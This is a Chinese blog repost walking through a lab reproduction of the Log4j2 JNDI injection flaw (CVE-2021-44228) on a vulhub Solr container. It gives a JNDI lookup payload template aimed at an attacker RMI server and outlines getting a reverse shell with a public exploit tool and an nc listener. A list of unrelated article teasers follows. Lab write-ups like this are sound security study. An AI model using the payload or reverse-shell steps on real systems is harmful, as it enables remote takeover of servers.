Log4j2(CVE-2021-44228)远程代码执行漏洞

news2024/11/26 1:50:12

目录

介绍

log4j2介绍:

JNDI介绍

LDAP介绍

RMI介绍

log4j2漏洞

漏洞复现

漏洞的(触发)流程

利用log4j2漏洞反弹shell


最近打算学习一下JAVA中几个经典的漏洞,这里还是参考别的师傅总结的好文章进行学习

JAVA的几个经典漏洞包括:

  • log4j2漏洞(CVE-2021-44228)

  • fastjson反序列化漏洞

  • Shiro550漏洞(CVE-2016-4437)

  • weblogic漏洞(CVE-2019-2890)

这几个漏洞在https://vulhub.org/靶场中都有docker环境可以使用,很不错,后面的实验复现我也都会使用靶场中的环境,在这一篇,要学习的是log4j2漏洞(CVE-2021-44228)

介绍

log4j2介绍:

中文官网:介绍 · Log4j 2官方文档中文翻译 (gitbooks.io)

Apache Log4j2 是对Log4j 的升级版本,参考了logback 的一些优秀的设计,并且修复了一些问题,因此带来了一些重大的提升,主要有:

异常处理,在logback中,Appender中的异常不会被应用感知到,但是在log4j2中,提供了一些异常处理机制。

性能提升,log4j2 相较于log4j 和 logback 都具有明显的性能提升,有18倍性能提升,后面会有官方测试的数据。

自动重载配置,参考了logback的设计,当然会提供自动刷新参数配置,最实用的就是我们在生产上可以动态的修改日志的级别而不需要重启应用。

无垃圾机制,log4j2 在大部分情况下,都可以使用其设计的一套无垃圾机制【对象重用、内存缓冲】,避免频繁的日志收集导致的 jvm gc。

简单来说:

Apache Log4j2是一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。

JNDI介绍

由于漏洞利用会涉及到JNDI注入相关的知识,这里简要做一个对JNDI的介绍。

JNDI,全称为Java命名和目录接口(Java Naming and Directory Interface),是SUN公司提供的一种标准的Java命名系统接口,允许从指定的远程服务器获取并加载对象。JNDI相当于一个用于映射的字典,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。

JNDI可以使用相应目录接口请求普通数据,还可以请求java对象。而且JNDI支持以命名引用(Naming References)的方式去远程下载一个class文件,然后加载该class文件并构建对象。若下载的是攻击者构建的含有恶意代码的class文件,则会在加载时执行恶意代码。

在这些目录接口中我们可以使用LDAP或RMI去下载远程主机上的class文件。

LDAP介绍

LDAP(轻型目录访问协议:是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据,就好象Linux/Unix系统中的文件目录一样。

RMI介绍

RMI(远程方法调用):它是一种机制,能够让在某个java虚拟机上的对象调用另一个Java虚拟机的对象的方法。

log4j2漏洞

该漏洞是由于Apache Log4j2某些功能存在递归解析功能,导致攻击者可直接构造恶意请求,触发远程代码执行漏洞,从而获得目标服务器权限。

所以说Apache log4j2-RCE漏洞是由于Log4j2提供的lookup功能下的 jndi Lookup模块出现问题所导致的,该功能模块在输出日志信息时允许开发人员通过相应的协议去请求远程主机上的资源

而开发人员在处理数据时,并没有对用户输入的信息进行判断导致LOg4j2请求远程主机上的含有恶意代码的资源并执行其中的代码,从而造成远程代码执行漏洞。

漏洞复现

漏洞的触发流程:

漏洞的(触发)流程

1、攻击者发送一个HTTP请求,其用户名为${indi:rmi://rmi服务器地址/Exploityl}

2、被攻击服务器发现要输出的信息中有$队,则其中的内容要单独处理,进一步解析是NDI扩展内容且使用的是RM1,而后根据RMI服务器地址去请求Exploit。

3、RMI服务器返回Reference对象(用于告诉请求端所请求对象所在的类),而该Reference指定了远端文件下载服务器上含有恶意代码的class文件。

4、被攻击服务器通过Reference对象去请求文件下载服务器上的class文件。

5、被攻击服务器下载恶意class文件并执行其中的恶意代码。

img

进入到对应的路径中,使用docke-compose启动环境

pwd
/root/vulhub-master/log4j/CVE-2021-44228
docker-compose up -d

服务启动后,访问http://your-ip:8983即可查看到Apache Solr的后台页面。

漏洞位于/solr/admin/cores?action=xxx,我们在访问的同时使用BP进行抓包

可以看到是有回显的,说明这里存在命令执行漏洞

利用log4j2漏洞反弹shell

这里需要利用借助github上的工具------JNDI-Injection-Exploit v1.0 工具

工具下载我们对反弹shell的语句进行base64加密:

然后在攻击机中使用nc进行监听:

使用工具来进行漏洞利用:

然后在漏洞接口处访问:

执行完成后

就可以看到在Kali攻击机中已经通过该漏洞反弹的目标主机的shell了

参考文章:

java经典漏洞复现(基于vulhub) - FreeBuf网络安全行业门户

log4j2 的使用【超详细图文】-CSDN博客

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_log4j漏洞复现-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1835287.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【价值主张画布】以产品思维,将自己打造成“爆款”

经营自己等于经营公司: 1.客户细分:我能帮助谁?谁是我们最重要的客户? 2. 客户关系:怎样和对方打交道?一次交付还是持续交付? 3.渠道通路:怎样宣传自己和服务? 4. 价值主…

请查收2024年小朋友的暑假计划日程表

2024年盛夏将至,孩子们的暑假即将拉开帷幕,是时候为他们精心策划一份丰富多彩的暑期日程表,让他们的假期充实而难忘! 具体时间规划 07:30-08:00 清晨准备 独立完成穿衣、如厕和洗漱 打开窗户通风 测量体温,关注健康…

少儿编程启蒙新篇章:Scratch引领图形化编程的奇妙之旅

随着信息技术的飞速发展,编程教育已不再是专业领域的专属,而是逐渐走进千家万户,成为孩子们成长过程中不可或缺的一部分。特别是在少儿编程领域,图形化编程工具如Scratch的普及,为孩子们打开了编程启蒙的大门&#xff…

Vulnhub——AI: WEB: 2

渗透复现 (1)平台框架存在目录穿越漏洞,利用该漏洞读取敏感信息 (2)Ping功能点绕过,进行命令执行操作,反弹shell无果后,利用目录穿越漏洞遍历敏感API,读取到用户SSH登录…

第三方仓库WMS仓储管理系统智能库存预警解决方案

在当今竞争激烈的物流市场中,第三方仓库扮演着连接供应链各环节的关键角色。面对不断变化的客户需求和日益严格的市场要求,如何提升仓库管理水平、优化库存结构、降低运营成本,成为了第三方仓库管理者必须面对的重要课题。在这一背景下&#…

pdfFactory虚拟打印机软件下载-pdfFactory虚拟打印机官方最新版下载附加详细安装步骤

pdffactory是一款办公软件,帮助用户更好的进行文件处理,轻松查询使用,不用担心故障的问题,而且打印速度快,效率高,保障用户日常打印轻松。 安 装 包 获 取 地 址: FinePrint-安装包 &#xff1…

006 spring事务支持

文章目录 事务回顾事务介绍事务并发问题(隔离性导致)事务隔离级别 Spring框架事务管理相关接口Spring框架事务管理的分类编程式事务管理(了解)声明式事务管理(重点) 事务管理之XML方式业务层持久层单元测试代码配置事务管理的AOP 事务管理之混合方式事务管理之基于AspectJ的纯注…

前沿技术丨实车测试必须注意的3个方面

在汽车网络通信中,ECU零部件测试、域/系统测试在测试条件上存在局限性,往往由于无法完全仿真工作环境、无法排除特殊干扰因素、异常场景预估不充分,导致在集成到整车后才新暴露出一些功能、性能、兼容性问题。 实车通信测试是作为测试验证的…

【数据分析】线性及逻辑回归模型和Python实现

各位大佬好 ,这里是阿川的博客,祝您变得更强 个人主页:在线OJ的阿川 大佬的支持和鼓励,将是我成长路上最大的动力 阿川水平有限,如有错误,欢迎大佬指正 Python 初阶 Python–语言基础与由来介绍 Python–…

FUANC机器人教程:速度倍率级数与倍率增量设定方法

目录 机器人速度倍率介绍 机器人运行速度倍率切换操作 快速切换速度倍率有效与无效设定 速度倍率级数与增量自定义 速度倍率级数与增量自定义举例 机器人速度倍率介绍 在机器人手动或自动运行时都离不开速度设定,机器人的运行速度由多个要素共同决定&#xff…

【毕业设计】Django 校园二手交易平台(有源码+mysql数据)

此项目有完整实现源码,有需要请联系博主 Django 校园二手交易平台开发项目 项目选择动机 本项目旨在开发一个基于Django的校园二手交易平台,为大学生提供一个安全便捷的二手物品买卖平台。该平台将提供用户注册和认证、物品发布和搜索、交易信息管理等…

如何使用Vue3和ApexCharts创建交互式热力图?

本文由ScriptEcho平台提供技术支持 项目地址:传送门 热力图:可视化数据分布 应用场景介绍 热力图是一种数据可视化技术,它使用颜色来表示数据点的值。热力图常用于可视化分布数据,例如人口密度、温度变化或网站流量。 代码基…

视频太长了,想要剪切掉一节怎么操作?

如果你想为你的视频制作一个具有一定客观性的短视频,并在一些平台上发布,那么剪辑视频片段是不可避免的。通过剪辑视频片段的操作,提出视频中多余的视频内容,将自己需要的内容单独提取出来。但问题是如何操作它。对于新手来说&…

【分布式事务】分布式事务其他解决方案——2PC

目录 2PC解释例子分析回到IT系统中 XA 方案执行流程DTP 模型交互模式 总结 2PC 解释 2PC 即两阶段提交协议,是将整个事务流程分为两个阶段,准备阶段(Prepare phase)、提交阶段(commit phase),…

探索AgentUniverse:蚂蚁集团发布的多体Agent构建工厂

在迅速发展的AI领域,多体智能系统因其通过协调工作处理复杂任务的能力而受到广泛关注。最近,蚂蚁集团发布了一款名为AgentUniverse的开源框架,旨在构建各种智能体,包括法律咨询智能体、事件解读智能体、行业分析智能体和财报生成智…

从零到一:Python自动化测试的详细指南!

引言: Python是一种功能强大且易于学习和使用的编程语言,它非常适合用于自动化测试。本文将从零开始,通过详细的步骤和规范,介绍如何在Python中实施高质量的自动化测试。我们将探讨测试策略的制定、测试框架的选择、测试用例的编…

表达式的格式化

表达式:一条具有明确结果的代码语句 在字符串前面加上前缀f,表示这是一个格式化字符串,可以在字符串中直接引用变量,并使用{}来表示这些变量的位置。例如: name "Alice" age 30 print(f"My name is …

30. 光纤耦合器

导论: 物理光学传播(POP)可用于计算光纤耦合效率。 设计流程: 光束建模和聚焦 在系统选项中选择系统孔径,在系统孔径下选择“入瞳直径”,并输入“4”。 设置0视场,选择角度。 加入1um波长。…

使用 Mask R-CNN 进行血细胞分割

介绍 血细胞分析是诊断各种医学疾病的重要步骤,从感染和贫血到更严重的疾病如白血病。传统上,这一过程是通过老方法进行的——实验室技术员通过显微镜查看血涂片玻片,花费几个小时。这一过程不仅令人乏味,还容易出现人为错误&…

基于Eclipse+JSP+SSH+Mysql开发的实验室设备管理系统

基于EclipseJSPSSHMysql开发的实验室设备管理系统 项目介绍💁🏻 实验室教师端(管理员端)集成了多个核心功能模块,包括通知管理、预约和借用记录管理、实验室管理以及设备信息管理。管理员可以发布和删除通知公告&#…